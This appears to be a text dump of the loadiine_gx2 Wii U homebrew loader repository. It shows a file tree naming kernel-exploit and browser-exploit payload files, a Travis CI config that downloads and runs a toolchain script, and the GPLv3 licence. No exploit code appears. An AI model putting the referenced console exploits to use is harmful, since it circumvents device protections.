Repository: dimok789/loadiine_gx2
Branch: master
Commit: 2ae7fe4feaad
Files: 282
Total size: 1.9 MB
Directory structure:
gitextract_pe69zl1c/
├── .gitignore
├── .gitmodules
├── .travis.yml
├── LICENSE
├── Makefile
├── Readme.md
├── data/
│ └── sounds/
│ ├── bgMusic.ogg
│ └── credits_music.ogg
├── filelist.sh
├── gitrev.sh
├── installer/
│ ├── Makefile
│ ├── coreinit.h
│ ├── crt0.S
│ ├── elf_abi.h
│ ├── kernel_patches.S
│ ├── kexploit.c
│ ├── kexploit.h
│ ├── launcher.c
│ ├── logger.c
│ ├── logger.h
│ ├── socket.h
│ ├── structs.h
│ └── types.h
├── languages/
│ ├── chinese.lang
│ ├── chinese_tr.lang
│ ├── english.lang
│ ├── french.lang
│ ├── german.lang
│ ├── hungarian.lang
│ ├── italian.lang
│ ├── japanese.lang
│ ├── pt_BR.lang
│ ├── pt_PT.lang
│ └── spanish.lang
├── meta/
│ └── meta.xml
├── other/
│ ├── devkitPPCupdatePPCr29.pl
│ └── devkitProUpdatePPCr29.ini
├── sd_loader/
│ ├── Makefile
│ └── src/
│ ├── elf_abi.h
│ ├── entry.c
│ ├── kernel_hooks.S
│ └── link.ld
├── server/
│ └── src/
│ ├── Program.cs
│ ├── Properties/
│ │ └── AssemblyInfo.cs
│ ├── System/
│ │ └── IO/
│ │ ├── EndianBinaryReader.cs
│ │ └── EndianBinaryWriter.cs
│ ├── app.config
│ ├── bin/
│ │ └── Debug/
│ │ ├── loadiine_server.exe.config
│ │ ├── loadiine_server.pdb
│ │ ├── loadiine_server.vshost.exe.config
│ │ └── loadiine_server.vshost.exe.manifest
│ ├── loadiine_server.csproj
│ ├── loadiine_server.sln
│ ├── loadiine_server.suo
│ └── obj/
│ └── x86/
│ └── Debug/
│ ├── DesignTimeResolveAssemblyReferencesInput.cache
│ ├── ResolveAssemblyReference.cache
│ ├── cafiine_server.csproj.FileListAbsolute.txt
│ ├── loadiine_server.csproj.FileListAbsolute.txt
│ └── loadiine_server.pdb
├── src/
│ ├── Application.cpp
│ ├── Application.h
│ ├── common/
│ │ ├── common.h
│ │ ├── kernel_defs.h
│ │ ├── loader_defs.h
│ │ ├── os_defs.h
│ │ ├── retain_vars.c
│ │ ├── retain_vars.h
│ │ └── types.h
│ ├── entry.cpp
│ ├── fs/
│ │ ├── CFile.cpp
│ │ ├── CFile.hpp
│ │ ├── DirList.cpp
│ │ ├── DirList.h
│ │ ├── fs_utils.c
│ │ ├── fs_utils.h
│ │ ├── sd_fat_devoptab.c
│ │ └── sd_fat_devoptab.h
│ ├── game/
│ │ ├── GameLauncher.cpp
│ │ ├── GameLauncher.h
│ │ ├── GameList.cpp
│ │ ├── GameList.h
│ │ ├── memory_area_table.c
│ │ ├── memory_area_table.h
│ │ ├── rpx_rpl_table.c
│ │ └── rpx_rpl_table.h
│ ├── gitrev.h
│ ├── gui/
│ │ ├── FreeTypeGX.cpp
│ │ ├── FreeTypeGX.h
│ │ ├── GameBgImage.cpp
│ │ ├── GameBgImage.h
│ │ ├── GameIcon.cpp
│ │ ├── GameIcon.h
│ │ ├── GameIconModel.h
│ │ ├── GridBackground.cpp
│ │ ├── GridBackground.h
│ │ ├── Gui.h
│ │ ├── GuiButton.cpp
│ │ ├── GuiButton.h
│ │ ├── GuiCheckBox.cpp
│ │ ├── GuiCheckBox.h
│ │ ├── GuiConfigurationScreen.h
│ │ ├── GuiController.h
│ │ ├── GuiDragListener.cpp
│ │ ├── GuiDragListener.h
│ │ ├── GuiElement.cpp
│ │ ├── GuiElement.h
│ │ ├── GuiFrame.cpp
│ │ ├── GuiFrame.h
│ │ ├── GuiGameBrowser.h
│ │ ├── GuiGameCarousel.cpp
│ │ ├── GuiGameCarousel.h
│ │ ├── GuiIconCarousel.cpp
│ │ ├── GuiIconCarousel.h
│ │ ├── GuiIconGrid.cpp
│ │ ├── GuiIconGrid.h
│ │ ├── GuiImage.cpp
│ │ ├── GuiImage.h
│ │ ├── GuiImageAsync.cpp
│ │ ├── GuiImageAsync.h
│ │ ├── GuiImageData.cpp
│ │ ├── GuiImageData.h
│ │ ├── GuiParticleImage.cpp
│ │ ├── GuiParticleImage.h
│ │ ├── GuiSelectBox.cpp
│ │ ├── GuiSelectBox.h
│ │ ├── GuiSound.cpp
│ │ ├── GuiSound.h
│ │ ├── GuiSwitch.cpp
│ │ ├── GuiSwitch.h
│ │ ├── GuiText.cpp
│ │ ├── GuiText.h
│ │ ├── GuiToggle.cpp
│ │ ├── GuiToggle.h
│ │ ├── GuiTrigger.cpp
│ │ ├── GuiTrigger.h
│ │ ├── Scrollbar.cpp
│ │ ├── Scrollbar.h
│ │ ├── VPadController.h
│ │ ├── WPadController.h
│ │ └── sigslot.h
│ ├── kernel/
│ │ ├── kernel_functions.c
│ │ ├── kernel_functions.h
│ │ ├── kernel_hooks.S
│ │ ├── syscalls.c
│ │ ├── syscalls.h
│ │ └── syscalls_asm.S
│ ├── language/
│ │ ├── gettext.cpp
│ │ └── gettext.h
│ ├── link.ld
│ ├── main.cpp
│ ├── main.h
│ ├── menu/
│ │ ├── ButtonChoiceMenu.cpp
│ │ ├── ButtonChoiceMenu.h
│ │ ├── CreditsMenu.cpp
│ │ ├── CreditsMenu.h
│ │ ├── GameLauncherMenu.cpp
│ │ ├── GameLauncherMenu.h
│ │ ├── KeyPadMenu.cpp
│ │ ├── KeyPadMenu.h
│ │ ├── MainDrcButtonsFrame.h
│ │ ├── MainWindow.cpp
│ │ ├── MainWindow.h
│ │ ├── ProgressWindow.cpp
│ │ ├── ProgressWindow.h
│ │ ├── SettingsCategoryMenu.cpp
│ │ ├── SettingsCategoryMenu.h
│ │ ├── SettingsMenu.cpp
│ │ └── SettingsMenu.h
│ ├── network/
│ │ ├── FileDownloader.cpp
│ │ ├── FileDownloader.h
│ │ ├── GameImageDownloader.cpp
│ │ └── GameImageDownloader.h
│ ├── patcher/
│ │ ├── aoc_patcher.cpp
│ │ ├── aoc_patcher.h
│ │ ├── cpp_to_c_util.cpp
│ │ ├── cpp_to_c_util.h
│ │ ├── extra_log_patcher.cpp
│ │ ├── extra_log_patcher.h
│ │ ├── fs_logger.c
│ │ ├── fs_logger.h
│ │ ├── fs_patcher.cpp
│ │ ├── fs_patcher.h
│ │ ├── fs_sd_patcher.cpp
│ │ ├── fs_sd_patcher.h
│ │ ├── hid_controller_function_patcher.cpp
│ │ ├── hid_controller_function_patcher.h
│ │ ├── patcher_util.cpp
│ │ ├── patcher_util.h
│ │ ├── pygecko.c
│ │ ├── pygecko.h
│ │ ├── rplrpx_patcher.cpp
│ │ └── rplrpx_patcher.h
│ ├── resources/
│ │ ├── Resources.cpp
│ │ ├── Resources.h
│ │ └── filelist.h
│ ├── settings/
│ │ ├── CSettings.cpp
│ │ ├── CSettings.h
│ │ ├── CSettingsGame.cpp
│ │ ├── CSettingsGame.h
│ │ ├── SettingsDefs.h
│ │ ├── SettingsEnums.h
│ │ └── SettingsGameDefs.h
│ ├── sounds/
│ │ ├── BufferCircle.cpp
│ │ ├── BufferCircle.hpp
│ │ ├── Mp3Decoder.cpp
│ │ ├── Mp3Decoder.hpp
│ │ ├── OggDecoder.cpp
│ │ ├── OggDecoder.hpp
│ │ ├── SoundDecoder.cpp
│ │ ├── SoundDecoder.hpp
│ │ ├── SoundHandler.cpp
│ │ ├── SoundHandler.hpp
│ │ ├── Voice.h
│ │ ├── WavDecoder.cpp
│ │ └── WavDecoder.hpp
│ ├── system/
│ │ ├── AsyncDeleter.cpp
│ │ ├── AsyncDeleter.h
│ │ ├── CMutex.h
│ │ ├── CThread.h
│ │ ├── exception_handler.c
│ │ ├── exception_handler.h
│ │ ├── memory.c
│ │ └── memory.h
│ ├── utils/
│ │ ├── Directory.cpp
│ │ ├── Directory.h
│ │ ├── FileReplacer.cpp
│ │ ├── FileReplacer.h
│ │ ├── StringTools.cpp
│ │ ├── StringTools.h
│ │ ├── function_patcher.cpp
│ │ ├── function_patcher.h
│ │ ├── logger.c
│ │ ├── logger.h
│ │ ├── strings.c
│ │ ├── strings.h
│ │ ├── utils.c
│ │ ├── utils.h
│ │ ├── xml.c
│ │ └── xml.h
│ └── video/
│ ├── CVideo.cpp
│ ├── CVideo.h
│ ├── CursorDrawer.cpp
│ ├── CursorDrawer.h
│ └── shaders/
│ ├── ColorShader.cpp
│ ├── ColorShader.h
│ ├── FXAAShader.cpp
│ ├── FXAAShader.h
│ ├── FetchShader.h
│ ├── PixelShader.h
│ ├── Shader.h
│ ├── Shader3D.cpp
│ ├── Shader3D.h
│ ├── ShaderFractalColor.cpp
│ ├── ShaderFractalColor.h
│ ├── Texture2DShader.cpp
│ ├── Texture2DShader.h
│ └── VertexShader.h
├── udp_debug_reader/
│ ├── Makefile
│ ├── UdpDebugReader
│ ├── UdpDebugReader.cbp
│ ├── UdpDebugReader.depend
│ ├── UdpDebugReader.layout
│ ├── doxygen/
│ │ └── doxyfile
│ └── source/
│ ├── Input.c
│ ├── Input.h
│ ├── main.c
│ ├── network.c
│ ├── network.h
│ └── winsock/
│ ├── libwsock32.a
│ └── winsock.h
├── updatelang.sh
└── www/
└── loadiine_gx2/
├── frame.html
├── index.html
├── payload.php
├── payload400.html
├── payload410.html
├── payload500.html
├── payload532.html
├── wiiu_browserhax_common.php
├── wiiuhaxx_common_cfg.php
├── wiiuhaxx_rop_sysver_532.php
└── wiiuhaxx_rop_sysver_550.php
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitignore
================================================
/fs/build
/installer/bin
/loader/build
/menu/build
/server/logs/*.txt
/build
/*.elf
/fs/*.elf
/loader/*.elf
/sd_loader/build
/sd_loader/*.elf
/udp_debug_reader/obj
/udp_debug_reader/GeckoLog.txt
/installer/sd_loader.h
/languages/*.pot
/src/gitrev.c
================================================
FILE: .gitmodules
================================================
[submodule "src/controller_patcher"]
path = src/controller_patcher
url = https://github.com/Maschell/controller_patcher
[submodule "src/dynamic_libs"]
path = src/dynamic_libs
url = https://github.com/Maschell/dynamic_libs
================================================
FILE: .travis.yml
================================================
language: c
sudo: false
branches:
except:
- /^*-v[0-9]/
- /^build-[0-9a-z\-]*/
notifications:
email: false
cache:
apt: true
directories:
- "/home/travis/devkitPro"
before_cache:
- rm -rf $DEVKITPRO/*.7z
- rm -rf $DEVKITPRO/*.bz2
- rm -rf $DEVKITPRO/examples
addons:
apt:
packages:
- p7zip-full
- zip
before_install:
- export DEVKITPRO=/home/travis/devkitPro
- export DEVKITPPC=${DEVKITPRO}/devkitPPC
- mkdir -p $DEVKITPRO
- cd $DEVKITPRO
- wget -N https://raw.githubusercontent.com/dimok789/loadiine_gx2/master/other/devkitPPCupdatePPCr29.pl
- wget -N https://raw.githubusercontent.com/dimok789/loadiine_gx2/master/other/libogc.7z
- wget -N https://raw.githubusercontent.com/dimok789/loadiine_gx2/master/other/portlibs.7z
install:
- cd $DEVKITPRO
- perl devkitPPCupdatePPCr29.pl
- 7z x -y libogc.7z
- 7z x -y portlibs.7z
- cp -R portlibs/ppc/* devkitPPC/
before_script:
- cd $TRAVIS_BUILD_DIR/
script:
- make
- cd $TRAVIS_BUILD_DIR/installer
- make
before_deploy:
- cd $TRAVIS_BUILD_DIR/
- cp -R installer/bin/*.bin www/loadiine_gx2/
- cp meta/meta.xml meta/icon.png .
- commit="$(git rev-parse --short=7 HEAD)"
- zip -r loadiine_gx2_$commit.zip www loadiine_gx2.elf meta.xml icon.png
- git config --global user.email "builds@travis-ci.com"
- git config --global user.name "Travis CI"
- export GIT_TAG=Loadiine-nightly-$commit
- git tag $GIT_TAG -a -m "Loadiine_gx2 nightly build. Not a stable release. Expect bugs!"
- git push --quiet https://$GITHUBKEY@github.com/dimok789/loadiine_gx2 $GIT_TAG > /dev/null 2>&1
deploy:
provider: releases
skip_cleanup: true
prerelease: true
api_key:
secure: R7WrOSmjYSD3DfUyUkklxSheD7MU/np6MycSJ11B1CZ054FUz+xMY5WlvM7mjoq8YDYSznKtRmoFEmc1ZQW/hFNZORPjTvLDOeO/8KWP+RmFS2VKFgpEYn6oBFnFWfzRcLelLcYIuJoCgqEB0NcUSXR1NNvpp4KIszdoO8bJlJekNcwnnUCjeYSRT0JcP5RFqCZoVex6YREgmJfe3mJ0/B8gFgHkwQeQpIS7WVDfC6EgEL5bXLCZuVwGQzyqG6rTvkxVVG/vXeKvFOKZJQbY78l09KlU31WU7Kql6mMwuq7cUXkDwczt2iO/cxAaUQnJ4KDmWCDuiJugCXyFMnAyOdAJvGu5WvN2S4aGzxmxqopKoW0wAHf1L+Juv9z36FrYlmT3iYS1KBzM6jVjj2+Bev9xPJuEpRFgvKJI0JlyqX9bXnhF4rOnIaNUEn41EkRGPcYDS4cGsVqNL+CsuND0YGmRw4hOo3E69Oex1WEBMwZNohb8CfVBNXY9I3i6qe4rJ0LJsfsYykK5j1Hc9ZWJpLZQNZHr3gOS3alFq3A4Jwad0yynxkbGML6TUxYcz0TRqoKE1FMrpL2UgyZhG2I3ugH9q3GPF/50CCBEsuVvCwgar9Y0Yw4q/MQwmgX7gg8jaeydS/pAoFcf1MMews57+cL9qiEGKiIL3glp55eNP4Y=
file: loadiine_gx2_$commit.zip
on:
repo: dimok789/loadiine_gx2
tags: false
all_branches: true
================================================
FILE: LICENSE
================================================
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc.
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
